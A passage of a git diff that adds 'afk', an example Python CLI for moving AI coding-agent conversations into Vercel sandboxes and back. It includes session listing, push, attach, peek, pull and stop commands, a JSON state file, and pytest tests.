"This conversation was moved here from another machine." +CONTINUE = ( + CONTINUE_MARK + + " The project now lives " + + "at {path}. Continue the work from where it left off." +) +"""What an unattended push says to the agent. + +afk wrote it, so finding it in a transcript is how afk knows where the pushed +turn began. +""" +ACTIVE_WITHIN = 10 * 60 +"""A conversation written to this recently is one you are probably in.""" + +Where = Literal["here", "remote"] + + +class Row(BaseModel): + """One conversation as the list shows it.""" + + where: Where + kind: str + session_id: str + title: str | None = None + updated_at: int | None = None + status: str + label: str | None = None + sandbox: str | None = None + pty: str | None = None + from_id: str | None = None + handle: Handle | None = None + mode: str | None = None + + @property + def short(self) -> str: + return self.session_id[:4] + + @property + def active(self) -> bool: + return ( + self.updated_at is not None + and time.time() - seconds(self.updated_at) < ACTIVE_WITHIN + ) + + def matches(self, word: str) -> bool: + w = word.lower() + return ( + self.session_id.lower().startswith(w) + or (self.label or "").lower() == w + or w in (self.title or "").lower() + ) + + +def seconds(ts: int) -> float: + """Timestamps arrive in whatever unit a harness's store uses — claude's + are milliseconds, codex's seconds. Anything past the year 33658 is ms.""" + return ts / 1000 if ts > 10**11 else float(ts) + + +def age(ts: int | None) -> str: + if ts is None: + return "?" + s = max(0, int(time.time() - seconds(ts))) + for unit, size in (("d", 86400), ("h", 3600), ("m", 60)): + if s >= size: + return f"{s // size}{unit}" + return f"{s}s" + + +async def local_rows( + cwd: Path, gateway: Gateway | None +) -> tuple[list[Row], list[str], list[str]]: + """This directory's conversations, both harnesses. + + Returns rows, notes (a harness that is not installed here is a note, not an + error), and the harnesses that answered. + """ + rows: list[Row] = [] + notes: list[str] = [] + answered: list[str] = [] + + async def ask(factory: Any) -> Any: + try: + async with Local(cwd, gateway=gateway) as ws: + async with factory(workspace=ws) as agent: + return await agent.sessions() + except HarnessError as exc: + return exc + + # Both harnesses at once: neither waits on the other's store. + results = await asyncio.gather(*(ask(f) for f in HARNESSES.values())) + for kind, infos in zip(HARNESSES, results, strict=True): + if isinstance(infos, HarnessError): + notes.append( + f"{KIND_SHORT[kind]}: {str(infos).splitlines()[0][:80]}" + ) + continue + answered.append(KIND_SHORT[kind]) + for info in infos: + row = Row( + where="here", + kind=kind, + session_id=info.session_id, + title=info.title, + updated_at=info.updated_at, + status="", + ) + row.status = ( + "active " + age(info.updated_at) + if row.active + else "idle " + age(info.updated_at) + ) + if info.running: + row.status = "in use " + age(info.updated_at) + rows.append(row) + rows.sort(key=lambda r: seconds(r.updated_at or 0), reverse=True) + return rows, notes, answered + + +async def remote_rows( + state: State, origin: Path, gateway: Gateway | None +) -> tuple[list[Row], list[str]]: + """Conversations afk pushed from this directory, verified against their + sandboxes. A sandbox the platform says no longer exists marks its rows + `gone` and is forgotten after this listing; one that cannot be reached + right now is `unreachable` and kept.""" + rows: list[Row] = [] + gone: list[str] = [] + remotes = state.for_origin(str(origin)) + by_sandbox: dict[str, list[Remote]] = {} + for r in remotes: + by_sandbox.setdefault(r.sandbox, []).append(r) + + async def probe(name: str, group: list[Remote]) -> None: + try: + async with VercelSandbox(name=name, gateway=gateway) as ws: + # Ask only what the rows need: a TUI's status is its pty, so + # a sandbox holding only TUIs never opens a harness (measured: + # the harness open and session listing were ~3s of a 4s probe). + if any(r.mode == "tui" for r in group): + ptys = {p.name: p for p in await ws.ptys()} + else: + ptys = {} + for r in group: + if r.mode == "tui": + # Running with a terminal on it (yours, in another + # tab, or someone's) vs running with nobody watching. + info = ptys.get(r.pty or "") + status = ( + "idle" + if info is None + else "open elsewhere" + if info.attached + else "running" + ) + else: + status = await _unattended_status(ws, r) + rows.append(_remote_row(r, status)) + except WorkspaceGoneError: + # The platform says it is stopped or was never there: forget it. + gone.append(name) + for r in group: + rows.append(_remote_row(r, "gone")) + except HarnessError: + # Could not ask — network, credentials, the platform. It may well + # be running: keep the record, or it is the only way back lost. + for r in group: + rows.append(_remote_row(r, "unreachable")) + + await asyncio.gather(*(probe(n, g) for n, g in by_sandbox.items())) + rows.sort(key=lambda r: seconds(r.updated_at or 0), reverse=True) + return rows, gone + + +async def _unattended_status(ws: VercelSandbox, r: Remote) -> str: + """running, finished, or idle — from one harness, opened once.""" + try: + async with HARNESSES[r.handle.kind](workspace=ws) as agent: + held = any( + i.running + for i in await agent.sessions() + if i.session_id == r.session_id + ) + if not held: + return "idle" + # An unattended agent stays held after its turn, waiting for a + # next one that will not come: say which it is. + return ( + "finished" + if turn_finished( + await agent.history(r.session_id), CONTINUE_MARK + ) + else "running" + ) + except HarnessError: + return "?" + + +def stored_rows(state: State, origin: Path) -> list[Row]: + """The conversations afk pushed from here, from its own record alone — + no sandbox asked. What a verb needs to find the one you named: attach, + peek, pull and stop then talk to that one sandbox, and nothing else.""" + rows = [_remote_row(r, "") for r in state.for_origin(str(origin))] + rows.sort(key=lambda r: seconds(r.updated_at or 0), reverse=True) + return rows + + +def _remote_row(r: Remote, status: str) -> Row: + return Row( + where="remote", + kind=r.handle.kind, + session_id=r.session_id, + title=None, + updated_at=r.pushed_at, + status=status, + label=r.label, + sandbox=r.sandbox, + pty=r.pty, + from_id=r.from_id, + handle=r.handle, + mode=r.mode, + ) + + +def turn_finished(messages: list[Any], asked: str | None = None) -> bool: + """Whether the transcript ends on the agent's own words with no tool call + pending: its turn is over and it waits for the next one. A turn in + progress ends on a tool call or a tool result. + + `asked` is text from the prompt that began the turn in question. Until + that prompt is in the transcript, the turn has not shown up yet and the + reply before it proves nothing. (Measured: message counts differ between + the history sent and the transcript stored, so a count cannot say it.)""" + if asked is not None: + begun = [ + i + for i, m in enumerate(messages) + if m.role == "user" and asked in _text(m) + ] + if not begun or begun[-1] == len(messages) - 1: + return False + if not messages or messages[-1].role != "assistant": + return False + kinds = {getattr(p, "kind", "") for p in messages[-1].parts} + return "text" in kinds and "tool_call" not in kinds + + +def _text(message: Any) -> str: + return " ".join( + getattr(p, "text", "") or "" + for p in message.parts + if getattr(p, "kind", "") == "text" + ) diff --git a/examples/apps/afk/afk/state.py b/examples/apps/afk/afk/state.py new file mode 100644 index 00000000..0686dc81 --- /dev/null +++ b/examples/apps/afk/afk/state.py @@ -0,0 +1,90 @@ +"""What only afk knows: which conversations it pushed where, and from where. + +The SDK asks the machine for everything it can — which conversations a +harness has in a directory, which ptys a workspace still runs, whether a +conversation is held. What exists only because *you* did something is +recorded here: the sandbox a push created, the pty name a TUI runs under, +the directory the conversation came from, the label you gave it, and the +`Handle` to come back with. One file, written once per push, verified +against the machine every time it is read. +""" + +from __future__ import annotations + +import os +import time +from pathlib import Path +from typing import Literal + +from pydantic import BaseModel + +from ai.harnesses.experimental import Handle + +Mode = Literal["tui", "bg"] + + +class Remote(BaseModel): + """A conversation afk pushed into a sandbox.""" + + label: str + origin: str + """The local directory it was pushed from — the app's concept; the + transcript in the VM only knows /vercel/sandbox.""" + sandbox: str + pty: str | None = None + """The named pty its TUI runs under, when pushed as a TUI.""" + mode: Mode + handle: Handle + from_id: str | None = None + """The local conversation it was copied from. Push copies; both remain.""" + pushed_at: int + + @property + def session_id(self) -> str: + return self.handle.session_id + + +class State(BaseModel): + """Everything afk remembers. Small on purpose.""" + + remotes: list[Remote] = [] + baselines: dict[str, dict[str, str]] = {} + """Per sandbox: sha256 of every file push copied into it, by path. What + `pull --files` compares against to tell the sandbox's changes from yours.""" + + def for_origin(self, origin: str) -> list[Remote]: + return [r for r in self.remotes if r.origin == origin] + + def sandboxes(self, origin: str | None = None) -> list[str]: + seen: list[str] = [] + for r in self.remotes: + if (origin is None or r.origin == origin) and r.sandbox not in seen: + seen.append(r.sandbox) + return seen + + def forget_sandbox(self, name: str) -> None: + self.remotes = [r for r in self.remotes if r.sandbox != name] + self.baselines.pop(name, None) + + +def state_path() -> Path: + """`~/.afk/state.json`, or wherever AFK_STATE points (tests).""" + override = os.environ.get("AFK_STATE") + return Path(override) if override else Path.home() / ".afk" / "state.json" + + +def load() -> State: + path = state_path() + if not path.exists(): + return State() + return State.model_validate_json(path.read_text()) + + +def save(state: State) -> None: + path = state_path() + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(state.model_dump_json(indent=2)) + + +def now() -> int: + return int(time.time()) diff --git a/examples/apps/afk/afk/verbs.py b/examples/apps/afk/afk/verbs.py new file mode 100644 index 00000000..68b45fa6 --- /dev/null +++ b/examples/apps/afk/afk/verbs.py @@ -0,0 +1,505 @@ +"""The verbs, each a thin composition of SDK calls. + +push — copy it into a sandbox and open the TUI there (or run it unattended). +attach — your terminal, back on its TUI; reopened there if it had exited. +peek — watch an unattended agent's transcript, read-only. +pull — bring a conversation home and open it here; --files brings its edits. +stop — end its sandbox; each push has its own. + +Nothing here depends on how a conversation began: `push` reads the +harness's own store, so a conversation started by typing `claude` in a +terminal is handled like any other. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import shutil +import sys +import tempfile +from datetime import timedelta +from pathlib import Path +from typing import TYPE_CHECKING, Any + +from ai.harnesses.experimental.errors import HarnessError, SessionBusyError +from ai.workspaces.experimental import Local, VercelSandbox, copy, tty + +from . import files, render +from . import state as st +from .rows import ( + CONTINUE, + CONTINUE_MARK, + HARNESSES, + KIND_SHORT, + Row, + turn_finished, +) + +if TYPE_CHECKING: + from collections.abc import Callable + + from ai.workspaces.experimental import Gateway + + +def _pty_name(label: str) -> str: + return f"afk-{label}" + + +async def push( + cwd: Path, + row: Row, + *, + label: str | None, + background: bool, + hours: float, + gateway: Gateway | None, +) -> st.Remote: + """Copy the conversation, and this directory as it is now, into a + sandbox of its own. Push copies: the local one stays; if you keep typing + here, the list shows both. + + Every push gets its own sandbox. A second push never lands in a tree an + earlier one left behind, so there is nothing to catch up and no one + else's agent in the same files; each sandbox ends with its conversation. + + `hours` is how long the sandbox may live. The + platform's default is five MINUTES — measured: a pushed TUI was gone + before its owner came back — so afk always says how long.""" + if gateway is None: + raise HarnessError( + "afk push needs AI_GATEWAY_API_KEY: the sandbox reaches the model " + "through the gateway" + ) + # 1. The past, from the harness's own store here. + async with Local(cwd, gateway=gateway) as here: + async with HARNESSES[row.kind](workspace=here) as agent: + history = await agent.history(row.session_id) + + # 2. A sandbox of its own, with this directory as it is now. + ws = VercelSandbox( + keep=True, + gateway=gateway, + execution_time_limit=timedelta(hours=hours).total_seconds(), + ) + await ws.open() + recorded = False + try: + copied = await copy(cwd, ws / ".") + _remember_baseline( + ws.name or "", await asyncio.to_thread(files.manifest, cwd) + ) + print( + f"afk: sandbox {ws.name} · copied {copied} files · lives up to " + f"{hours:g}h" + ) + agent = HARNESSES[row.kind](workspace=ws) + await agent.open() + if background: + session = agent.session(history=history) + # A Turn is an async iterable: iterate it. Let the turn begin + # before letting go — the first event proves the agent is + # working — then this client detaches and the VM keeps it. + events = aiter(session.stream(CONTINUE.format(path=ws.path))) + first = asyncio.ensure_future(anext(events)) + with contextlib.suppress(Exception): + await asyncio.wait_for(asyncio.shield(first), 120) + sid = session.session_id + name = label or sid[:4] + remote = st.Remote( + label=name, + origin=str(cwd), + sandbox=ws.name or "", + pty=None, + mode="bg", + handle=session.handle, + from_id=row.session_id, + pushed_at=st.now(), + ) + _remember(remote) + recorded = True + first.cancel() + with contextlib.suppress(BaseException): + await first + await agent.detach() + print(f"afk: {name} ({sid[:8]}) · running unattended in {ws.name}") + return remote + tui = await agent.tui( + history=history, name=_pty_name(label or "pending") + ) + sid = tui.session_id or "" + name = label or sid[:4] + if tui.handle is None: + raise HarnessError( + "the harness did not report the new conversation's id" + ) + remote = st.Remote( + label=name, + origin=str(cwd), + sandbox=ws.name or "", + pty=tui.pty.name, + mode="tui", + handle=tui.handle, + from_id=row.session_id, + pushed_at=st.now(), + ) + _remember(remote) + recorded = True + print( + f"afk: {name} ({sid[:8]}) · {ws.name} · attached — Ctrl-] detaches " + "and leaves it running" + ) + status = await tty.bridge(tui.pty) + if status is None: + print(f"afk: detached; `afk attach {name}` to come back") + await agent.detach() + else: + print(f"afk: the TUI exited ({status})") + await tui.close() + await agent.close() + return remote + except BaseException: + if not recorded and ws.name: + # A sandbox nothing remembers is a sandbox nothing can stop: end + # the one this push created before anything was recorded. + with contextlib.suppress(Exception): + await ws.close() + async with VercelSandbox( + name=ws.name, keep=False, gateway=gateway + ): + pass + print( + "afk: push failed; stopped the sandbox it had created " + f"({ws.name})" + ) + raise + raise + finally: + await ( + ws.close() + ) # keep=True: leaves the VM and everything in it running + + +async def attach(row: Row, gateway: Gateway | None) -> None: + """Your terminal on the conversation's TUI in its sandbox. + + If the TUI is still running, reconnect to it; if it has exited (you quit it, + or it crashed), open it again there on the same conversation. + """ + if ( + row.mode != "tui" + or not row.pty + or not row.sandbox + or row.handle is None + ): + raise HarnessError( + f"{row.label or row.short} was not pushed as a TUI; `afk peek` " + "watches an unattended one" + ) + async with VercelSandbox(name=row.sandbox, gateway=gateway) as ws: + live = {p.name: p for p in await ws.ptys()} + if row.pty in live: + if live[row.pty].attached: + print( + f"afk: {row.label} is open in another terminal; taking it " + "over (that one returns)" + ) + pty = await ws.attach(row.pty) + print( + f"afk: {row.label} · {row.sandbox} · attached — Ctrl-] detaches" + ) + status = await tty.bridge(pty) + if status is None: + print(f"afk: detached; `afk attach {row.label}` to come back") + else: + print( + f"afk: the TUI exited ({status}); `afk attach {row.label}` " + "reopens it" + ) + return + agent = HARNESSES[row.kind](workspace=ws) + await agent.open() + try: + tui = await agent.tui(row.session_id, name=row.pty) + except SessionBusyError as busy: + print(f"afk: {busy}") + await agent.close() + return + print( + f"afk: {row.label}'s TUI had exited; reopened it in {row.sandbox} " + "— Ctrl-] detaches" + ) + status = await tty.bridge(tui.pty) + if status is None: + print(f"afk: detached; `afk attach {row.label}` to come back") + await agent.detach() + else: + print( + f"afk: the TUI exited ({status}); `afk attach {row.label}` " + "reopens it" + ) + await tui.close() + await agent.close() + + +PEEK_PAST = 4 +"""Earlier messages peek shows before following along, at least; it starts +at the message that began the current turn when that is not far back.""" + +PEEK_TURN_WITHIN = 30 + + +def _peek_start(messages: list[Any]) -> int: + """Where to start drawing: your last message, so the turn reads whole + from its prompt, unless that is far back; never on a tool result.""" + floor = max(0, len(messages) - PEEK_TURN_WITHIN) + for i in range(len(messages) - 1, floor - 1, -1): + m = messages[i] + if m.role == "user" and any( + getattr(p, "kind", "") == "text" for p in m.parts + ): + return min(i, max(0, len(messages) - PEEK_PAST)) + start = max(0, len(messages) - PEEK_PAST) + while start < len(messages) and messages[start].role == "tool": + start += 1 + return start + + +PEEK_HELD_EVERY = 5 +"""Every how many polls peek asks whether the agent is still held at all.""" + +PEEK_QUIET = 8.0 +"""Quiet seconds after the agent's last words before peek calls it done.""" + + +async def peek( + row: Row, gateway: Gateway | None, *, every: float = 2.0 +) -> None: + """Follow an unattended agent's transcript. + + Read-only: it reads the stored record, so it never becomes a second writer. + Returns when the agent has finished its turn; Ctrl-C stops watching, never + the agent. + """ + if row.handle is None or not row.sandbox: + raise HarnessError("nothing to peek at") + width = shutil.get_terminal_size().columns + style = render.Style(color=sys.stdout.isatty()) + name = row.label or row.short + async with VercelSandbox(name=row.sandbox, gateway=gateway) as ws: + async with HARNESSES[row.kind](workspace=ws) as agent: + print( + style.dim( + f"afk: watching {name} · {KIND_SHORT[row.kind]} · " + f"{row.sandbox} — Ctrl-C stops watching; the agent keeps " + "going" + ) + ) + messages = await agent.history(row.session_id) + shown = _peek_start(messages) + if shown: + print( + style.dim( + f" … {shown} earlier message{'s' * (shown != 1)}" + ) + ) + loop = asyncio.get_running_loop() + changed = loop.time() + polls = 0 + while True: + for m in messages[shown:]: + drawn = render.lines(m, width, style) + if drawn and m.role == "user": + print() + for line in drawn: + print(line) + if len(messages) > shown: + changed = loop.time() + shown = len(messages) + # The finished turn ends a peek; this check only catches an + # agent that died, so it need not list every session each poll. + polls += 1 + held = polls % PEEK_HELD_EVERY != 1 or any( + i.running + for i in await agent.sessions() + if i.session_id == row.session_id + ) + if not held: + print( + style.dim( + f"\nafk: {name} is no longer running · `afk pull " + f"{name} --files` brings it home" + ) + ) + return + if ( + turn_finished( + messages, CONTINUE_MARK if row.mode == "bg" else None + ) + and loop.time() - changed >= PEEK_QUIET + ): + print( + style.dim( + f"\nafk: {name} finished its turn · `afk pull " + f"{name} --files` brings it home" + ) + ) + return + await asyncio.sleep(every) + messages = await agent.history(row.session_id) + + +async def pull( + cwd: Path, + row: Row, + gateway: Gateway | None, + *, + with_files: bool, + ask: Callable[[str], str] = input, +) -> None: + """Bring it home: the conversation's past, into a new one here, in the + TUI. With `with_files`, the files it changed in the sandbox too — shown + first, and written only on your yes.""" + if row.handle is None or not row.sandbox: + raise HarnessError("nothing to pull") + async with VercelSandbox(name=row.sandbox, gateway=gateway) as ws: + async with HARNESSES[row.kind](workspace=ws) as there: + history = await there.history(row.session_id) + if with_files: + await _pull_files( + cwd, ws, st.load().baselines.get(row.sandbox), ask + ) + async with Local(cwd, gateway=gateway) as here: + agent = HARNESSES[row.kind](workspace=here) + await agent.open() + # An ordinary local TUI: no detach key, quit it as you always do. + tui = await agent.tui(history=history) + print( + f"afk: {row.label} · home as {(tui.session_id or '')[:8]} — quit " + "the TUI as usual when done" + ) + await tty.bridge(tui.pty, detach_key=None) + await tui.close() + await agent.close() + print( + "afk: it is in this directory's list now, like any conversation " + "here" + ) + + +async def _pull_files( + cwd: Path, + ws: VercelSandbox, + baseline: dict[str, str] | None, + ask: Callable[[str], str], +) -> None: + with tempfile.TemporaryDirectory(prefix="afk-pull-") as staging: + await copy(ws / ".", staging) + there = await asyncio.to_thread(files.manifest, Path(staging)) + here = await asyncio.to_thread(files.manifest, cwd) + changes = files.plan(there, here, baseline) + if not changes: + print("afk: the sandbox changed no files; nothing to bring home") + return + clean = [c for c in changes if not c.conflict] + conflicts = [c for c in changes if c.conflict] + if baseline is None: + print( + "afk: this sandbox was pushed before afk recorded what it " + "copied, so its changes and" + ) + print( + " yours cannot be told apart; every file that differs is " + "listed, and none is deleted" + ) + if clean: + print( + f"afk: the sandbox changed {len(clean)} " + f"file{'s' * (len(clean) != 1)}:" + ) + for c in clean: + print(f" {c.action:7s} {c.path}") + if conflicts: + what = ( + "differ" + if baseline is None + else "changed here too since the push" + ) + print( + f"afk: {len(conflicts)} file{'s' * (len(conflicts) != 1)} " + f"{what}; writing would lose your local version:" + ) + for c in conflicts: + print(f" {c.action:7s} {c.path}") + chosen = [] + if clean and _yes( + ask, + f"afk: write the {len(clean)} change{'s' * (len(clean) != 1)} " + "here? [y/N] ", + ): + chosen += clean + if conflicts and _yes( + ask, + f"afk: overwrite your version of {len(conflicts)} " + f"file{'s' * (len(conflicts) != 1)}? [y/N] ", + ): + chosen += conflicts + for c in chosen: + target = cwd / c.path + if c.action == "delete": + target.unlink(missing_ok=True) + else: + target.parent.mkdir(parents=True, exist_ok=True) + shutil.copyfile(Path(staging) / c.path, target) + kept = len(changes) - len(chosen) + print( + f"afk: wrote {len(chosen)} file{'s' * (len(chosen) != 1)}" + + (f"; left {kept} as they are" if kept else "") + ) + + +def _yes(ask: Callable[[str], str], prompt: str) -> bool: + try: + return ask(prompt).strip().lower() in ("y", "yes") + except EOFError: + return False + + +async def stop(row: Row, gateway: Gateway | None) -> None: + """End the conversation's sandbox — the only reliable way to end what + runs in it. Each push has its own, so nothing else goes with it.""" + if not row.sandbox: + raise HarnessError("nothing to stop") + # The platform's stop takes a few seconds and cannot be hurried: say so + # first. + print(f"afk: stopping {row.label} ({row.sandbox})…", flush=True) + async with VercelSandbox(name=row.sandbox, keep=False, gateway=gateway): + pass + current = st.load() + # A sandbox shared by several pushes predates one-sandbox-per-push; say so. + also = [ + r.label + for r in current.remotes + if r.sandbox == row.sandbox and r.session_id != row.session_id + ] + current.forget_sandbox(row.sandbox) + st.save(current) + print( + f"afk: stopped {row.label} ({row.sandbox})" + + (f"; it also held {', '.join(also)}" if also else "") + ) + + +def _remember_baseline(sandbox: str, manifest: dict[str, str]) -> None: + current = st.load() + current.baselines[sandbox] = manifest + st.save(current) + + +def _remember(remote: st.Remote) -> None: + current = st.load() + current.remotes = [ + r for r in current.remotes if r.session_id != remote.session_id + ] + current.remotes.append(remote) + st.save(current) diff --git a/examples/apps/afk/pyproject.toml b/examples/apps/afk/pyproject.toml new file mode 100644 index 00000000..c239a0c9 --- /dev/null +++ b/examples/apps/afk/pyproject.toml @@ -0,0 +1,43 @@ +[project] +name = "afk" +version = "0.1.0" +description = "Step away; your agents don't. A CLI on ai.harnesses" +requires-python = ">=3.12" +dependencies = [ + "ai[claude-code,sandbox]", + # direct, so the git source below applies (see tool.uv.sources) + "vercel-sandbox", +] + +[project.scripts] +afk = "afk.cli:main" + +[dependency-groups] +dev = [ + "pytest>=8.0", + "pytest-asyncio>=0.24", +] + +[build-system] +requires = ["hatchling"] +build-backend = "hatchling.build" + +[tool.hatch.build.targets.wheel] +packages = ["afk"] + +[tool.uv] +exclude-newer = "2 days" + +[tool.uv.sources] +# ai.harnesses is not released yet, so the app runs on this checkout. +ai = { path = "../../..", editable = true } +# vercel/vercel-py#415 (interactive PTY) is unreleased; this is the commit +# ai's dev group pins. Drop this once the `sandbox` extra has a real floor. +vercel-sandbox = { git = "https://github.com/vercel/vercel-py", rev = "ec07c8602d533067d7a9e6c400560659e65c6c50", subdirectory = "src/vercel-sandbox" } + +[tool.pytest.ini_options] +asyncio_mode = "auto" +testpaths = ["tests"] +markers = [ + "live: drives a real local harness installation (deselect with -m 'not live')", +] diff --git a/examples/apps/afk/tests/conftest.py b/examples/apps/afk/tests/conftest.py new file mode 100644 index 00000000..6b37a0f2 --- /dev/null +++ b/examples/apps/afk/tests/conftest.py @@ -0,0 +1,18 @@ +"""The example is a plain package next to this directory; make it importable, +and keep its state file out of the developer's home.""" + +from __future__ import annotations + +import sys +from pathlib import Path + +import pytest + +EXAMPLE = Path(__file__).resolve().parent.parent +if str(EXAMPLE) not in sys.path: + sys.path.insert(0, str(EXAMPLE)) + + +@pytest.fixture(autouse=True) +def isolated_state(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setenv("AFK_STATE", str(tmp_path / "state.json")) diff --git a/examples/apps/afk/tests/test_files.py b/examples/apps/afk/tests/test_files.py new file mode 100644 index 00000000..da701830 --- /dev/null +++ b/examples/apps/afk/tests/test_files.py @@ -0,0 +1,84 @@ +"""The rules `afk pull --files` decides by: pure, so no sandbox needed.""" + +from __future__ import annotations + +from typing import TYPE_CHECKING + +from afk.files import Change, manifest, plan + +if TYPE_CHECKING: + from pathlib import Path + + +def _plan( + sandbox: dict[str, str], + local: dict[str, str], + baseline: dict[str, str] | None, +) -> list[tuple[str, str, bool]]: + return [ + (c.path, c.action, c.conflict) for c in plan(sandbox, local, baseline) + ] + + +def test_only_what_the_sandbox_changed_comes_home() -> None: + baseline = {"a": "1", "b": "1", "c": "1", "gone": "1"} + sandbox = { + "a": "2", + "b": "1", + "c": "1", + "new": "1", + } # a edited, gone deleted, new added + local = {"a": "1", "b": "9", "c": "1", "gone": "1"} # b edited here only + assert _plan(sandbox, local, baseline) == [ + ("a", "update", False), + ("gone", "delete", False), + ("new", "add", False), + ], "b changed only here, so it stays yours and is not listed" + + +def test_a_file_changed_on_both_sides_is_a_conflict() -> None: + baseline = {"a": "1", "d": "1"} + sandbox = {"a": "2", "e": "2"} # a edited, d deleted, e added + local = {"a": "3", "d": "3", "e": "3"} # all three touched here too + assert _plan(sandbox, local, baseline) == [ + ("a", "update", True), + ("d", "delete", True), + ("e", "update", True), + ] + + +def test_files_already_the_same_are_not_listed() -> None: + assert ( + _plan({"a": "2"}, {"a": "2"}, {"a": "1"}) == [] + ), "both sides made the same edit" + assert _plan({"a": "1"}, {"a": "1"}, {"a": "1"}) == [] + + +def test_without_a_baseline_all_may_conflict_and_nothing_is_deleted() -> None: + sandbox = {"a": "2", "new": "1", "same": "1"} + local = {"a": "1", "same": "1", "only-here": "1"} + assert _plan(sandbox, local, None) == [ + ("a", "update", True), + ("new", "add", True), + ], "only-here may never have been pushed: never proposed for deletion" + + +def test_the_manifest_follows_the_push_rules(tmp_path: Path) -> None: + (tmp_path / "src").mkdir() + (tmp_path / "src" / "app.py").write_text("print(1)\n") + (tmp_path / "node_modules").mkdir() + (tmp_path / "node_modules" / "x.js").write_text("x\n") + (tmp_path / ".gitignore").write_text("secret.txt\n") + (tmp_path / "secret.txt").write_text("s\n") + assert sorted(manifest(tmp_path)) == [ + ".gitignore", + "src/app.py", + ], "ignored files never travel, so never come back" + + +def test_change_is_a_model() -> None: + assert Change(path="a", action="add", conflict=False).model_dump() == { + "path": "a", + "action": "add", + "conflict": False, + } diff --git a/examples/apps/afk/tests/test_live.py b/examples/apps/afk/tests/test_live.py new file mode 100644 index 00000000..66d0ed5a --- /dev/null +++ b/examples/apps/afk/tests/test_live.py @@ -0,0 +1,74 @@ +"""The list against real harnesses: nothing registered, everything found.""" + +from __future__ import annotations + +import uuid +from typing import TYPE_CHECKING + +import pytest +from afk import state as st +from afk.rows import local_rows, remote_rows + +from ai.harnesses.experimental import Handle, claude_code +from ai.workspaces.experimental import Local, WorkspaceCoords + +if TYPE_CHECKING: + from pathlib import Path + +pytestmark = pytest.mark.live + + +async def test_a_conversation_started_outside_afk_is_listed( + tmp_path: Path, +) -> None: + """Start one the way a user would, through the harness; afk sees it.""" + async with Local(tmp_path) as ws: + async with claude_code(workspace=ws) as agent: + session = agent.session() + await session.run("Reply with exactly: OK") + sid = session.session_id + rows, notes, _ = await local_rows(tmp_path, None) + assert sid in {r.session_id for r in rows}, notes + row = next(r for r in rows if r.session_id == sid) + assert row.where == "here" and row.status.startswith( + ("active", "idle", "in use") + ) + + +async def test_the_list_forgets_only_what_the_platform_says_is_gone( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + """A stale record (a sandbox that no longer exists) is forgotten; a record + afk merely cannot check right now is kept, or a running machine would be + lost to it for good.""" + monkeypatch.setenv("AFK_STATE", str(tmp_path / "state.json")) + sandbox = f"ai-no-such-{uuid.uuid4().hex[:10]}" + handle = Handle( + kind="claude-code", + session_id=str(uuid.uuid4()), + workspace=WorkspaceCoords(provider="vercel-sandbox", location=sandbox), + ) + record = st.Remote( + label="stale", + origin=str(tmp_path), + sandbox=sandbox, + pty="afk-stale", + mode="tui", + handle=handle, + pushed_at=st.now(), + ) + state = st.State(remotes=[record]) + rows, gone = await remote_rows(state, tmp_path, None) + assert gone == [record.sandbox] and rows[0].status == "gone" + + # Now the platform cannot be asked at all: nothing is "gone". (From a + # directory with no .env.local above it, which the SDK would otherwise + # fall back to for credentials.) + monkeypatch.chdir(tmp_path) + monkeypatch.delenv("VERCEL_OIDC_TOKEN", raising=False) + monkeypatch.setenv("VERCEL_TOKEN", "not-a-real-token") + monkeypatch.setenv("VERCEL_TEAM_ID", "team_x") + monkeypatch.setenv("VERCEL_PROJECT_ID", "prj_x") + rows, gone = await remote_rows(state, tmp_path, None) + assert gone == [], "an unreachable sandbox must not be forgotten" + assert rows[0].status == "unreachable" diff --git a/examples/apps/afk/tests/test_render.py b/examples/apps/afk/tests/test_render.py new file mode 100644 index 00000000..af866b96 --- /dev/null +++ b/examples/apps/afk/tests/test_render.py @@ -0,0 +1,167 @@ +"""What peek draws, from the SDK's own message types: no sandbox needed.""" + +from __future__ import annotations + +import json + +from afk.render import Style, lines +from afk.rows import CONTINUE, CONTINUE_MARK, turn_finished +from afk.verbs import _peek_start # noqa: PLC2701 + +from ai.types.messages import Message, TextPart, ToolCallPart, ToolResultPart + +PLAIN = Style(color=False) + + +def _call(name: str, **args: object) -> ToolCallPart: + return ToolCallPart( + tool_call_id="c1", tool_name=name, tool_args=json.dumps(args) + ) + + +def _result(value: object, *, error: bool = False) -> ToolResultPart: + return ToolResultPart( + tool_call_id="c1", + tool_name="Bash", + result=value, + result_kind="error" if error else "json", + ) + + +def test_user_words_are_marked_and_reminders_are_not_shown() -> None: + m = Message( + role="user", + parts=[ + TextPart( + text=( + "internal" + "fix the add() bug" + ) + ) + ], + ) + assert lines(m, 80, PLAIN) == ["› fix the add() bug"] # noqa: RUF001 + + +def test_a_message_of_only_reminders_draws_nothing() -> None: + assert ( + lines( + Message( + role="user", + parts=[TextPart(text="x")], + ), + 80, + PLAIN, + ) + == [] + ) + + +def test_agent_text_wraps_to_the_terminal_and_says_when_it_is_cut() -> None: + m = Message(role="assistant", parts=[TextPart(text="word " * 400)]) + drawn = lines(m, 40, PLAIN) + assert all(len(ln) <= 40 for ln in drawn) + assert drawn[-1].startswith(" … ") and drawn[-1].endswith("more lines") + assert len(drawn) == 12 + 1 + + +def test_a_tool_call_is_one_line_naming_what_it_does() -> None: + m = Message( + role="assistant", + parts=[ + _call( + "Bash", command="python3 test_calc.py", description="run tests" + ) + ], + ) + assert lines(m, 80, PLAIN) == [" ⏺ Bash python3 test_calc.py"] + m = Message( + role="assistant", + parts=[ + _call( + "Edit", file_path="/vercel/sandbox/calc.py", old_string="a - b" + ) + ], + ) + assert lines(m, 80, PLAIN) == [" ⏺ Edit /vercel/sandbox/calc.py"] + + +def test_a_tool_result_is_its_first_line_and_a_count() -> None: + m = Message(role="tool", parts=[_result("3 passed\nline two\nline three")]) + assert lines(m, 80, PLAIN) == [" ⎿ 3 passed (+2 lines)"] + m = Message(role="tool", parts=[_result("Traceback: boom", error=True)]) + assert lines(m, 80, PLAIN) == [" ⎿ error: Traceback: boom"] + m = Message(role="tool", parts=[_result("")]) + assert lines(m, 80, PLAIN) == [" ⎿ done"] + + +def test_long_lines_are_clipped_to_the_width() -> None: + m = Message(role="assistant", parts=[_call("Bash", command="x" * 200)]) + (line,) = lines(m, 50, PLAIN) + assert len(line) == 50 and line.endswith("…") + + +def test_a_turn_is_finished_only_on_the_agents_own_words() -> None: + said = Message(role="assistant", parts=[TextPart(text="Fixed and tested.")]) + calling = 